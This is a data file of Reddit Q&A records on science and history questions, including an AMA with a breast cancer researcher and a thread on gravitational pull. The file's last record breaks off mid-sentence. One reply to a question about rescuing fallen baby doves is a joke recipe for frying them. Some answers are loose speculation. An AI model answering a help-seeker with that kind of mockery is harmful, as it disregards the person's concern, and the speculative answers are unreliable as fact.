{"q_id": "1nfyky", "title": "Are there human traits that are detrimental to the individual but beneficial to the social group?", "selftext": "By social group I mean people who don't share direct genetic lineage. \n\nI guess I'm looking for traits that may not be as straight forward as symptoms of illness or conscious altruism, but more subtle.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1nfyky/are_there_human_traits_that_are_detrimental_to/", "answers": {"a_id": ["ccioned", "ccitovq", "cciak4t", "ccic9ko", "ccifmco"], "score": [4, 2, 5, 36, 13], "text": ["I've read arguments that mild autism works this way - having people who are inclined to pursue a narrow interest at the cost of social skills is good for the group, but obviously bad (in a reproductive sense) for the individual.", "See this big can of worms labeled \"group selection\"?  You just opened it and dumped worms all over  the floor.  \n\nWhether or not selection can favor traits that help the group over the individual is something of a hot topic these days, with strong feelings running on all sides.  I think it's _possible_ but I can't point to any clear examples in humans.\n\nThat said, there are lots of traits that humans have that are in some ways detrimental to individuals and beneficial to everybody else.  It's hard to say, though, whether they are truly detrimental to individuals, whether they are adaptive traits or just side effects of other traits, whether they would benefit humans in a different environment but harm them now, etc.\n\nBut, to get around to answering question, humans demonstrate a lot of prosocial traits which seem, on the face of it, to help the group at the expense of the individual.  These are things like, on one end, sharing food, being generous, giving blood, and on the other end,  doing really self-sacrificial things like putting yourself in the line of fire as a fireman or soldier or the like.  Now, for the first group of things you can easily claim that it's a case of reciprocal altruism (you scratch my back, I'll scratch yours) but for the second group, where there's a decent risk of death, that's a more difficult proposition (you can't get a payoff later if you are dead).  People are also consistently fairly generous even when there's no opportunity to get paid back, in experimental settings.\n\nAs for why all this is the case, well, my money is on social selection.  As a human, if you aren't a member of a group you are completely screwed.  This gives the rest of the group a fair amount of power....if you don't play nice and act helpfully to the rest of the group, you may get kicked out.  And that's way more costly than the cost of being a good group member.\n\nBut it'd be hard to prove that's an underlying cause.  ", "Technically most aparent symptoms of illness such as cough, runny nose, spiting blood, change in facial hue,  all help  indicate that someone is sick and must be avoided or abandoned to prevent spread of the disese.", "There's the \"gay uncle\" hypothesis; I don't know how well-grounded in data it is (not my field), but the jist is that although (or perhaps because) gay people have a much lower chance at successful reproduction, they are able to expend more resources (time, food, attention) on related children, increasing the overall fitness of the family unit (and therefore passing down their genes through the children of their siblings).", "Altruism, almost by definition, helps others at the expense of your self. The harm you do to yourself is usually overshadowed by the help you give to another person (who may then be \"in your debt\"), but it *is* helping someone else rather than yourself.\n\nSee the [Wikipedia on altruism.](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://en.wikipedia.org/wiki/Altruism_in_animals#Implications_in_evolutionary_theory"]]}
{"q_id": "rw8wj", "title": "baby doves fell out of nest. what do i do?", "selftext": "They are fully feathered so I a guessing anywhere from 2-4 weeks. I tried bringing them inside but they are going crazy, plus I have two giant bird-eating dogs that constantly go in and outside my  house.\n\nI couldnt reach the nest so i put them in a shorter tree in my backyard.\n\nThey have been there all night. Just checked on them and they are still there.\n\nShould i just leave them alone? I just dont want a cat or my dogs to get them. They are like sitting ducks...", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/rw8wj/baby_doves_fell_out_of_nest_what_do_i_do/", "answers": {"a_id": ["c495rdi", "c497tdj"], "score": [3, 7], "text": ["Try reading [this](_URL_0_). It sounds as though baby birds with developed feathers normally will leave their nests and spend some time on the ground, so the best thing you can do is leave them where you found them, and just make sure your dogs don't get to them.", "**Ingredients**\n\n* 4-6 baby doves\n\n* 2 cups low fat buttermilk\n\n* 2 tablespoons kosher salt\n\n* 2 tablespoons Hungarian paprika\n\n* 2 teaspoons garlic powder\n\n* 1 teaspoon cayenne pepper\n\n* Flour, for dredging\n\n* Vegetable shortening, for frying\n\n**Directions**\n\nPlace doves into a plastic container and cover with buttermilk. Cover and refrigerate for 12 to 24 hours.\n\nMelt enough shortening (over low heat) to come just 1/3-inch up the side of a 12-inch cast iron skillet or heavy fry pan. Once shortening liquefies raise heat to 325 degrees F. Do not allow oil to go over 325 degrees F.\n\nDrain doves in a colander. Combine salt, paprika, garlic powder, and cayenne pepper. Liberally season doves with this mixture. Dredge doves in flour and shake off excess.\n\nPlace dove skin side down into the pan. Put thighs in the center, and breast and legs around the edge of the pan. The oil should come half way up the pan. Cook doves until golden brown on each side, approximately 10 to 12 minutes per side. More importantly, the internal temperature should be right around 180 degrees. (Be careful to monitor shortening temperature every few minutes.)\n\nDrain doves on a rack over a sheet pan. Don't drain by setting doves directly on paper towels or brown paper bags. If you need to hold the doves before serving, cover loosely with foil but avoid holding in a warm oven, especially if it's a gas oven."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.snopes.com/critters/wild/babybird.asp"], []]}
{"q_id": "2verix", "title": "AskScience AMA Series: I\u2019m Monica Montano, Associate Professor at Case Western Reserve University. I do breast cancer research and have recently developed drugs that have the potential to target several types of breast cancer, without the side effects typically associated with cancer drugs. AMA!", "selftext": "We have a protein, HEXIM1, that shutdown a whole array of cancer driving genes. Turning UP to turn OFF-- a cellular reset button that when induced stops metastasis of all types of breast cancer and most likely a large number of other solid tumors. We have drugs, that we are improving, which induce that protein. The oncologists that we talk to are excited by our research, they would love to have this therapeutic approach available.\n \nHEXIM1 inducing drugs is counter to the current idea that cancer is best approached through therapies targeting a small subset of cancer subtypes.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2verix/askscience_ama_series_im_monica_montano_associate/", "answers": {"a_id": ["cogyil1", "cogykc4", "cogylub", "cogymju", "cogyojt", "cogyops", "cogytno", "cogywen", "cogyy3a", "cogyzov", "cogz3cb", "cogzax2", "cogzc3h", "cogzc69", "cogzg6m", "cogzmmb", "cogzvof", "cogzx94", "coh03dm", "coh09np", "coh0ge6", "coh0l77", "coh0mcu", "coh0ptu", "coh0thv", "coh0zal", "coh13zc", "coh15e2", "coh18s5", "coh1dmv", "coh1gtr", "coh1jmo", "coh1lr6", "coh1r3u", "coh27b1", "coh2c7f", "coh2hfp", "coh2r8q", "coh2swf", "coh31pu", "coh39yh", "coh3p7a", "coh3pbr", "coh41df", "coh41pw", "coh53jc", "coh66sz", "coh67xy", "coh67yx", "coh6bk6", "cohcadv", "cohlon3"], "score": [4, 51, 80, 38, 37, 12, 5, 26, 7, 7, 4, 2, 5, 57, 2, 24, 21, 2, 2, 3, 22, 2, 2, 5, 7, 2, 5, 2, 2, 50, 2, 2, 2, 2, 4, 2, 4, 2, 2, 2, 2, 2, 2, 3, 7, 2, 3, 5, 2, 2, 2, 2], "text": ["Will this drugs be affordable for everyone?", "Science AMAs are posted early to give readers a chance to ask questions vote on the questions of others before the AMA starts. \n\nProf. Montano is a guest of /r/askscience and has volunteered to answer questions, please treat her with due respect. Comment rules will be strictly enforced, and uncivil or rude behavior will result in a loss of privileges in /r/askscience.\n", "What type of research still needs to be done before its a viable solution?", "Does this have potential to treat other types of cancer outside of breast cancer?", "Tell us about your graduate students and how they've contributed to your work.", "Thanks for doing this AMA! \n\nDo you work together with drug delivery systems, such as core-shell nanoparticles with specific (cancer)-cell recognition and such?\n\nDo you think that with your approach (shutting down \"a whole array of cncer driving genes\"), specific drug delivery systems for the treatment of cancer are becoming obsolete?", "Thanks!  I did some breast cancer product development myself.  \n\nQuestion:  Do you foresee a stage of breast cancer where it is \"too late\" for this therapy?", "What's your opinion on sensationalizing science? Specifically when new scientific discoveries are announced by press conference instead of peer review, and then have small (important but with limited actual impact) advances portrayed as amazing breakthroughs that will change the world.", "I'm a final year Biomed student and Cancer does interest me, so feel free to go nuts with detail. Thanks for doing this AMA!\n\nWhat genes are you targeting? And how are you ensuring you're only targeting cancer cells? \n\nHow do you think these drugs  will really help us?\nGiven that by the time symptoms are typically present (ie. a lump has been found), the cancer has already metastasized, and the chances of damage being done somewhere else is fairly high.\n\n I was also under the impression different types of breast cancer have different oncogenes playing a role, what ensures that you're able to prevent all of them from undergoing metastasis? or is it to be assumed that between the several genes you can turn off with your drugs that the breast cancer will indeed contain at least one of said genes?\n\n\nHave you got a powerpoint or voice recording of a  seminar of your findings that you could email me? (It would be most beneficial for one of my courses), this is probably a long shot, but just checking.", "Thank you for participating in the AMA dr Montano. \n\nI was just wondering if induction of HEXIM1 stops tumor development in transplants or do you also see a reduction in tumor size with your mouse models?\n\nHave you tried xenoplants with human cancer cells in transgenic mice?\n\nVery exciting research!", " > We have drugs, that we are improving, which induce that protein\n\nTranscriptionally?  Does the drug upregulate/downregulate any other targets relevant to cancer?  What's the role of HEXIM1 in a non-cancerous cell?", "What is your stand on the research done by T. Colin Campbell that showed that dairy consumption is responsible for cancer growth?", "What would be the time frame for this discovery to translate into a treatment?", "Hi Dr Montano, thank you for sharing your time with us. \n\n* How do you feel about the ethics behind patenting genes (e.g. BRCA 1  &  2)?   \n\n* Do you think such patents change patients and healthcare provider access to treatments? \n\n", "I've got a lot of general questions.\n\nWhich side effects are avoided with your drugs? How does the drug manage to avoid them? Are there still minor side effects? How often do you expect this kind of treatment to succeed?\n\nThank You", "How much longer do you think we'll have to live with solutions like chemotherapy and radiation oncology to deal with cancer treatment?", "What sort of an impact does bioinformatics, in general, have on these kinds of developments? I'm a third-year Comp Sci major with a Bioinformatics minor and have worked on gene-expression databases for bladder cancer cell-lines in the past. I'm still relatively inexperienced, though, and would love to know what kind of role software-facilitated analysis plays in modern medical issues.", "Thanks for doing this AMA!\n\nI'm curious to know about your opinion on the Susan G. Komen foundation. As a person who is on the forefront of breast cancer research, do you think foundations as a big as this one are actually helping in the research arena? Have you had any donations from the Susan G. Komen foundation come your way?", "Can you walk us through how HEXIM1 works?", "Thank you for doing this AMA! \n\nAs someone whose interested in pathobiology and would love to do disease research I have some research based questions.\n\nWhat allowed you discover that HEXIM1 was a critical protein in your research?\n\nHow long did it take to develop the drug and what is your method of delivery?", "Thank you for taking the time to do this!\n\nDo you agree with the FDA's incredibly difficult approval process? I see cases, both fictional and in real life, of people who have nothing to lose but to try to a new drug but the FDA prohibits it. I don't see why someone terminally ill shouldn't have access to all medicine, both clinically proven and not.", "Thanks you Dr. Montano.\nWould it be possible to further widen the array of cancer types 'switched off'?\nAlso, as a doctor you apparently have a magical power to scare some people. Whenever a doctor's mouth is used to form the word 'gene' there will be people who then see you as the incarnation of all that is evil.\n\nCan you dissuade some of the \"tampering with genes is evil!\" fears?\n\n", "Thanks for doing this AMA!\n\nMy question is with regard to human testing. Has your drug been tested on human subjects as of now? I mean living, breathing, ailing cancer patients.\n\nSo, has it?", "For this particular treatment, what are the estimated chances of a patient's cancer being cured? Can you list down the factors, for instance, the stage of malignancy?\n\nAlso, what is the situation of the current drug, and what improvements are you making to it?\n\nThank you! :)", "Dr. Montano,\n\nThanks for stopping by! I've got lots of questions, but here are two:\n\n1) It sounds like this drug upregulates a cell cycle suppression gene/protein. How does this affect rapidly cycling non-cancerous cells in the body? Any evidence of GI tract sloughing, hair follicle loss, or bone marrow suppression? If so, are there any novel delivery methods you're planning on incorporating for targeted administration?\n\n2) Have you looked at different hormonal subtypes of breast cancer, and specifically does this drug have any noted difference in efficacy against triple-negative breast cancer?", "For a non science person, what does this mean in real life terms. When will any advances impact the women that suffer today? (and tomorrow)\n\n(thank you for your work, Three of the women in my family have had breast cancer and survived, and live happy lives. Without your work, and early warning checkups, I may have lost my grandma and two aunt's. So thank you!)", "Hello Professor Montano! Congratulations on such an amazing breakthrough!.   \n  \nI have three questions!  \n1. How did you across the idea for this protein?   \n2. What is your (if you have one) daily routine to get the Monica Motor running?\n3. Did you see yourself doing this work back when you were in college?", "As a lot of people on here I also think you're research sounds fascinating. Thanks for the AMA!\n\nI noticed this in other comments but mainly in highly specific and long ones of multiple questions.\n\nSo my question is side effects. What are they? I imagine upregulating this protein has effects on healthy cells. What can patients expect? \nThanks again\n", "I'm a PhD student, working on studying magnetic properties of different magnetic nanomaterials and nanostructures.  Over the past decade or more, I've seen papers mention a lot about using these nanoparticles for cancer treatment by inducing hyperthermia with an AC field.  Could you just comment on your opinion of this research direction?  Do you think it is actually feasible?  Or is this a case of scientists just throwing around buzzwords to make the work look sexier (most papers I see are from physicists/chemists/material scientists)?", "So your drug target is inducing HEXIM1?\n\nWhats the \"normal\" role of HEXIM1 in the cell?\n\n biochemically how is it a \"reset\" button and what does it mean to reset a cell (reset the cell cycle?)\n\n what does induction of HEXIM1 in a normal cell usually do?\n\nThanks for the AMA", "thank you for doing this, Dr. Montano, and thank you for helping people years away from knowing how meaningful your work will be to them. \n\nCompared to a lot of the people posting questions here my knowledge of biology and science is minimal but having lost a 39 year old friend to metastatic breast cancer less than a year an a half ago, what I do know is painfully real. \n\nIt was my understanding that, due to a number of factors, the money and focus being applied to find cures for _metastatic_ breast cancers was significantly smaller than the resources targeting non-metastatic (_in situ?_) cancers. If I'm not misunderstanding your research, you're working within that smaller pool.\n\nAssuming you feel my perspective isn't distorted / confused, would you mind speaking a little about why researching cures for metastatic vs non-metastatic cancers are different? ", "1) How are you inducing expression of HEXIM1?\n\n2) Does up-regulation of HEXIM1 block transcription? \n\n3) How have you validated the efficacy of this drug? Which cell cultures have you tried it on? Which animal models (e.g. immune compromised mice with chemically induced sarcomas)? \n\n4) How far are you from a phase I human trial?", "Thanks, Professor, for this AMA!\n\nIs this research the academic world is pushing through or partnering with pharmaceutical companies? What are the strengths and weaknesses of academia vs companies in this type of research, and what style of collaborations do you find most fruitful?", "Hi Dr. Montano, I'm doing a thesis project looking at several prominent theories of carcinogenesis. I would love to get your opinion on a couple topics:\n\nFirst of all, how do you feel about the cancer stem cell theory, does your research hope to target CSCs?\n\nSecondly, though the accepted paradigm is that cancers are the result of mutations to oncogenes and tumour suppressors, there are some that claim cancer is best understood at the tissue and developmental levels of organization. These researchers such as Soto and Sonnenschein at Tufts (who discovered BPA as an endocrine disrupter) propose that cancer is caused not by epithelial cell mutations, but by stromal cells (such as fibroblasts) no longer providing inhibition to the epithelial layer. See review here: _URL_0_\n\nSo, my question is what do you see as the role of tissue communication in cancer? Perhaps causative or simply a contributing factor after the initiating event (i.e. mutation of oncogenes)?", "Thank you for sharing your time with us.  I would like to ask about your thoughts concerning the on-going issue of [cell line contamination](_URL_1_).  Have you encountered any incorrect cell lines like the notorious [MDA-MB-435](_URL_0_) in your breast cancer research?  What precautions do you take to avoid these types of cell line identity issues?", "Dr. Monato, based on your work in producing drugs to halt cancer growth, is there any possibility of the patient being rendered ineffective to the drug? (Based on clinical trials if you have proceeded to do any)", "I'm curious how you are obtaining HEXIM1 overexpression in targeted cells.  Are you agonizing a signaling protein upstream with a small molecule?  If so, what methods did you use to determine your lead (e.g., high-throughput screening, structure-based design)?\n\nIn general, how is it possible to achieve expression of desired proteins without using viral therapies?\n", "Is there a direct or indirect effect on the tumor microenvironment?\n", "Are there any off target side-effects of hexamethylene-bis-acetamide? If so how do you plan on delivering it to the site of action?\n\nDid you find that it upregulates any other genes in cancerous and/or somatic cells?\n\nLastly, I was curious about the mechanisms behind estrogen induced DNA damage, could you elaborate? ", "As a researcher and the principal investigator, what are your thoughts about the business of basic sciences and sponsored research?\n\nThe public (federal grants, public taxes, bonds, etc) finances and creates all this infrastructure for science to thrive, yet when it comes down to something commercially viable the perception is the university development people squirrel-off with big-pharma and create a private formulary that is 1000x more profitable than the cost to make these kinds of life saving therapies.\n\nThanks for your big brains and all the lab time, but if regular people cannot afford your wonders then who does all this public funded research benefit?", "I'm a highschool student who has always been interested in how drugs like these are developed. It's not something you learn *anything* about in highschool, so, if possible, could you give a brief run down of what the process is?", "HEXIM1 is well known to HIV researchers as being part of the inactive complex that sequesters P-TEFb from productive transcriptional elongation at the HIV-1 promoter.  Given that,\n\n1) Do you think your therapeutics could be useful in silencing HIV-1 transcription?  (The field in general is trying to do the opposite to eliminate the latent reservoir, but it would be interesting to see what effect your drugs have).\n\n2) Are you worried about toxic side effects given that you may be increasing the amount of transcriptional pausing at endogenous P-TEFb promoters (i.e. causing aberrant transcription of \"good\" genes in \"good\" cells)?\n", "Doctor Montano,\nWhen you say that your drug turns off genes, what specifically is it turning off/precenting? Does it focus on inhibiting the mRNA/tRNA? Or is it actually using some sort of stop codon on the specific genes on a chromosome? \nGood luck on your research!", "Interesting work!  There looks like there's currently 2 different angles for targeting this pathway for cancer treatment - increasing HEXIM1, which represses RNA synthesis or decreasing Brd4, which normally enables RNA synthesis, so decreasing Brd4 would decrease synthesis. Could you speak to why one target is better. Is it easier to increase HEXIM1 than decrease Brd4? Is one more specific to targeting cancer cells?", "Yeah CWRU represent!\n\nIt seems like most cancer breakthroughs are either highly specific cases or produce less than ideal side effects. Has research been done on this protein to see any adverse effects? That is, in what ways does it act within the bodily systems that were not the intended purpose?", "So basically you're trying to induce HEXIM1, to upregulate the p53 pathway involved in fighting cancer? \n\nCould this induce P53 induced apoptosis via the BAX pathway in healthy cells? Or would Mdm2 ubiquitin ligases be able to regulate levels in healthy somatic cells?\n\nWhat is the drug's mechanism of action?  HEXIM1 upregulation?", "What do you think about using a catalytically dead Cas9 protein that can recruit activators to the promoter site of HEXIM1? Would this approach hold an advantage over using chemical drugs?", "Hi Monica, as a Cleveland native and aspiring scientist (currently in a PhD program) I'm really excites that you're doing this!\n\nCould you describe the validation that goes in to bringing a potential treatment from the whiteboard to the clinic?", "1. So to clarify, this therapy may stop metastasis, but does not stop the local growth/development/potential development of a tumor? It could not be used as prophylaxis?\n2. Back to your description--ALL types of breast cancer? Really? That is quite amazing if it is true.\n3. Would this drug have any effect or benefit in a cancer that has already metastasized? \n4. What kind of length of therapy is required? Life-long?\n5. Is this a PO, IV, SQ drug? What would the dosing regimen be? Daily, weekly, monthly?\n5. What other metastatic tumors might this work against?", "Hi dr. Montano, what do you do for fun? What sort of music do you listen to? My good friend is a scientist at case western ", "I'm curious: what are your observations on breastcancer fund raising?  Not that money=cure or treatment, but I'm wondering as a researcher do you see any of that money?  Is there a discernible benefit to your work or anyone you know personally?  Is anything accomplished by it?", "Hopefully I didn't miss you.  My question isn't specific to Brest cancer but all cancers. How come every few months or so the news breaks about some cancer curing drug, then after that there seems to be no more news about it? Does that usually mean it's going through the lengthy FDA process or it just turned out to be another drug that didn't pan out? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://www.ncbi.nlm.nih.gov/pmc/articles/PMC3933226/"], ["http://dtp.nci.nih.gov/docs/misc/common_files/mda-mb-435-update.html", "http://www.npr.org/blogs/health/2014/12/09/368491013/mistaken-identities-plague-lab-work-with-human-cells"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "vjcy3", "title": "When you drink a stout followed by another beer, if the next beer is lighter it tastes like banana.  Why is this?", "selftext": "My friend and I both experienced this.  I had a bottle of stout (in this case, Obsidian Stout), and followed it with a Bass.  The Bass tastes like banana.  What is it about the hops or our taste buds or the brewing process (or something else) that causes this?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/vjcy3/when_you_drink_a_stout_followed_by_another_beer/", "answers": {"a_id": ["c5509a5"], "score": [3], "text": ["I'm a home-brewer with years of experience. \n\nFirst you should try this with different combinations of beer to verify your findings. Banana is a very common flavor recognizable in many drinks.  If you have every trained your scent it is one of the primary flavors you learn.  one of the two drinks you were having may have had it hinted and the complimentary flavors may have brought it out.  Also what you could be tasting is a common issue. the beer could have loosened particulates on your tongue that you were tasting again. Banana may mot have been consumed but a combination of flavors could have caused it to appear, especially considering the high sugar levels in a dark beer and the naturally creamy texture, could easily trick your brain to think \"banana\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "rpqv6", "title": "Does chewing your nails increase your resistance to disease?", "selftext": "I have the bad habit of chewing my nails, yet I have a very strong immune system and rarely get sick, and when I do, it's usually something mild enough I can go to work with.\n\nSince nails are a breeding pot for bacteria (many harmful) and I constantly get them in my mouth through chewing, does the body respond to them by producing antibodies or something like that which increases resistance to common diseases? Hope I asked that right.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/rpqv6/does_chewing_your_nails_increase_your_resistance/", "answers": {"a_id": ["c47n4xa"], "score": [7], "text": ["No, things you eat, including bacteria, are typically broken down by the acidity of the stomach.  There is no positive correlation between nail chewing and immune system strength.\n\nYou can even cause [Melanonchyia](_URL_0_) which looks a little strange, but does have [other](_URL_1_) causes."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.ncbi.nlm.nih.gov/pubmed/21692839", "http://en.wikipedia.org/wiki/Melanonychia"]]}
{"q_id": "2z0kqm", "title": "How did major newspapers in large Metro areas like NYC, London, Paris forecast weather for their readers in the 19th century? Or did they not include forecasts yet?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2z0kqm/how_did_major_newspapers_in_large_metro_areas/", "answers": {"a_id": ["cpf33u6"], "score": [2], "text": ["The Times of London begin posting weather forecasts in 1861.  Since the invention/deployment of the telegraph starting in 1835 people\n\"down wind\" from a weather event could be notified of likely impending weather changes at their location."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "lk8ds", "title": "What everyday problems could possibly be solved by biotechnology?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/lk8ds/what_everyday_problems_could_possibly_be_solved/", "answers": {"a_id": ["c2tcnxg", "c2tct36", "c2tcwyx", "c2td88b", "c2tcnxg", "c2tct36", "c2tcwyx", "c2td88b"], "score": [3, 2, 2, 2, 3, 2, 2, 2], "text": ["This is an incredibly vague question. If you have something more specific, I can try to answer.", "What? A question in my field? You have to first understand what biotechnology is, because it is (now) a very vague term. It is essentially the engineering of molecules and devices in relation to biology and medicine. The difference between biotechnology firms and pharmaceutical companies is the complexity and way that these things are developed. Biotechnology was put on the map in 1976 with the inception of Genentech founded by Herbert Boyer. It is essentially the use of recombinant DNA techniques to synthesize complicated molecues (although the lines have blurred and companies do a lot of different things). If you have a more specific question, I'd be happy to answer.", "A cure for most of our diseases, end of world hunger, and even our energy crisis. ", "I used to work at the [Biodesign Institute](_URL_3_), they have some pretty good examples of problems I'll go through my favorites.\n\n1. Biofuels, this is a huge area of research right now and the essential goal is to get bacteria to produce oils or other compounds that can be easily converted to fuel. This would mean we could switch our costly oil system into one based entirely on growing fuel in tanks. There are a number of challenges associated with this.\n\n2. Lower cost of chemical synthesis. Recently DARPA spend a large sum of money to design a bacteria that produces a new malaria treatment. This program was mostly a proof of principle, but the goal is to make bacteria perform many chemical synthesis steps for you to create expensive compounds from base materials. (Sugar, fat, and proteins) This is especially nice because once the bacteria is made, it's incredibly easy to give it to anyone. [Source](_URL_1_)\n\n3. Cheap diagnostic tests. There are man ways ways to go about doing this, one is to have a bacteria that detects the presence of bad things, like lead or arsenic or salmonella, and just put in a location, (like your gut or a lake). Another way is to perform mass screens on human bio-molecules (say from a blood draw) looking for bio-markers that would indicate health or disease. As biotech can reduce the cost of these screens to nearly zero, the whole population can be screened for a lot of things very often.\n\n4. Using bacteria to clean oil spills, we actually already do this. We have bred/found bacteria that will 'eat' (oversimplification of the week) oil spills.\n\n\n\nOf course these are all very near future uses of biotechnology. There are a number of other more 'science fictiony' uses of biotechnology that may or may not prove practical. These include [growing structures out of things like fungus](_URL_2_), [growing meat in a dish much more cheaply than in an animal](_URL_4_) (And, in theory, with nearly infinite variety), [lighting up the country with glowing trees](_URL_0_), and [growing limbs](_URL_5_). Also it's as difficult to imagine what else might come out of the widespread use of biotechnology as it would have been to predict the invention of computers from the widespread use of electricity, so there is a lot I can't think of.\n\nI can expand or clarify any of these.", "This is an incredibly vague question. If you have something more specific, I can try to answer.", "What? A question in my field? You have to first understand what biotechnology is, because it is (now) a very vague term. It is essentially the engineering of molecules and devices in relation to biology and medicine. The difference between biotechnology firms and pharmaceutical companies is the complexity and way that these things are developed. Biotechnology was put on the map in 1976 with the inception of Genentech founded by Herbert Boyer. It is essentially the use of recombinant DNA techniques to synthesize complicated molecues (although the lines have blurred and companies do a lot of different things). If you have a more specific question, I'd be happy to answer.", "A cure for most of our diseases, end of world hunger, and even our energy crisis. ", "I used to work at the [Biodesign Institute](_URL_3_), they have some pretty good examples of problems I'll go through my favorites.\n\n1. Biofuels, this is a huge area of research right now and the essential goal is to get bacteria to produce oils or other compounds that can be easily converted to fuel. This would mean we could switch our costly oil system into one based entirely on growing fuel in tanks. There are a number of challenges associated with this.\n\n2. Lower cost of chemical synthesis. Recently DARPA spend a large sum of money to design a bacteria that produces a new malaria treatment. This program was mostly a proof of principle, but the goal is to make bacteria perform many chemical synthesis steps for you to create expensive compounds from base materials. (Sugar, fat, and proteins) This is especially nice because once the bacteria is made, it's incredibly easy to give it to anyone. [Source](_URL_1_)\n\n3. Cheap diagnostic tests. There are man ways ways to go about doing this, one is to have a bacteria that detects the presence of bad things, like lead or arsenic or salmonella, and just put in a location, (like your gut or a lake). Another way is to perform mass screens on human bio-molecules (say from a blood draw) looking for bio-markers that would indicate health or disease. As biotech can reduce the cost of these screens to nearly zero, the whole population can be screened for a lot of things very often.\n\n4. Using bacteria to clean oil spills, we actually already do this. We have bred/found bacteria that will 'eat' (oversimplification of the week) oil spills.\n\n\n\nOf course these are all very near future uses of biotechnology. There are a number of other more 'science fictiony' uses of biotechnology that may or may not prove practical. These include [growing structures out of things like fungus](_URL_2_), [growing meat in a dish much more cheaply than in an animal](_URL_4_) (And, in theory, with nearly infinite variety), [lighting up the country with glowing trees](_URL_0_), and [growing limbs](_URL_5_). Also it's as difficult to imagine what else might come out of the widespread use of biotechnology as it would have been to predict the invention of computers from the widespread use of electricity, so there is a lot I can't think of.\n\nI can expand or clarify any of these."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://www.newscientist.com/article/mg20827885.000-glowing-trees-could-light-up-city-streets.html", "http://www.darpa.mil/Our_Work/MTO/Programs/Living_Foundries.aspx", "http://www.technovelgy.com/ct/Science-Fiction-News.asp?NewsNum=2786", "http://www.biodesign.asu.edu/research/projects", "http://www.scientificamerican.com/article.cfm?id=inside-the-meat-lab", "http://www.wired.com/dangerroom/2009/03/darpa-muscle-re/"], [], [], [], ["http://www.newscientist.com/article/mg20827885.000-glowing-trees-could-light-up-city-streets.html", "http://www.darpa.mil/Our_Work/MTO/Programs/Living_Foundries.aspx", "http://www.technovelgy.com/ct/Science-Fiction-News.asp?NewsNum=2786", "http://www.biodesign.asu.edu/research/projects", "http://www.scientificamerican.com/article.cfm?id=inside-the-meat-lab", "http://www.wired.com/dangerroom/2009/03/darpa-muscle-re/"]]}
{"q_id": "298o9g", "title": "Does a nearby person have more gravitational effect on me than the nearest star?", "selftext": "This is probably completely wrong, but can someone steer me in the right direction? (this isn't an exam question, just curious:))\n\nGravitational force is given by F = G x m1 x m2 / r^2. A girl is standing 2m away from me.\n\n- Given me (m1) = 77kg, girl (m2) = 50kg, distance (r) = 2m\n- F = 6.67x10^-11 x 77 x 50 / 2^2\n- F = 0.000000064 N\n- Proxima Centauri (4 light-years away, 0.123 solar-mass):\n- F = 6.67x10^-11 x 77 x 2.4x10^29 / (4.0x10^16)^2\n- F = 0.00000000000077 N\n\nThis seems to indicate the nearby girl is attracting me more than the closest star.\n\nI hope I'm right, as it's kind of romantic. :)\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/298o9g/does_a_nearby_person_have_more_gravitational/", "answers": {"a_id": ["ciij2l5", "ciij4r3", "ciilne8", "ciioec0", "cij5dkz", "cijbdld"], "score": [42, 7, 31, 3, 14, 5], "text": ["You are correct, but it's even more extreme when you consider the tidal effects, which decay as 1/r^3 instead of 1/r^2.\n\nProxima Centauri though is sometimes considered part of a triple star system with Alpha Centauri, with twice the total mass of the sun.", "Assuming all the numbers you have are right then yes this looks correct. Gravitational pull has an inverse square relationship with the distance between two objects(this is the r^2 in the denominator) meaning the force will decrease a lot faster if you increase the distance even if the masses you are using are becoming larger.\n\nYou could make an example where the nearest star has a larger gravitation force on you than a nearby person by increasing the distance to the person by a bit or by increasing the mass of you and/or the star by a very large amount.", "I was curious so I made the distance between the two people a variable and set the two gravitational force equations equal in order to find out how far away the person would need to be in order to exert the same amount of force as Proxima Centauri. I got approximately 577 meters or 1.9 times the height of the Eiffel Tower.\n\n**Edit:** Other units\n\nStatues of Liberty: 6.207\n\nBurj Khalifas: .7\n\n**Edit 2:** \n\nBananas: 3245.142857\n\n\n\nAccording to _URL_0_ , an average banana is about 7 inches.", "This is the perfect opening to reuse [an older comment](_URL_0_):\n\n >  **If you have a neighbor who weighs 80kg about 20m from you, his mere presence causes 1,317 times more gravitational force on you than the nearest remote star (Proxima Centauri) does. And that's just him.**\n\n >  Now add all the other things beyond your neighbor into the picture, and you'll see why \"subtle shaping by heavenly bodies\" is bogus.\n\n\n >      # Proxima Centauri is about 0.123 as massive as our sun, in kg\n    star_mass = 1.9891 * Math.pow(10,30) * .123\n    # Neighbor is about 180 pounds in kg\n    neighbor_mass = 80\n\n >      # Proxima Centauri, at about 4.2 light-years away, in meters\n    star_distance = 4.0141022 * Math.pow(10,16) \n    # Neighbor is standing about 65 feet away, in meters\n    neighbor_distance = 20 \n\n >      # Based on Newton's law of universal gravitation, ignores G and M1 shared terms\n    star_affect = star_mass / Math.pow(star_distance,2)\n    neighbor_affect = neighbor_mass / Math.pow(neighbor_distance,2)\n\n >      relative_strength = neighbor_affect / star_affect\n    print relative_strength\n\n >   >  1317.17997003\n\n >  ___\n\n >  The stars definitely have an affect on us, but it is largely immediate (the sun) or else involves stars which no longer exist (leading to the elements heavier than iron.)\n\nP.S.: Yes, the code-variable should be named `star_effect` for accuracy.  \nP.P.S.: I say \"remote star\" because everybody already knows the 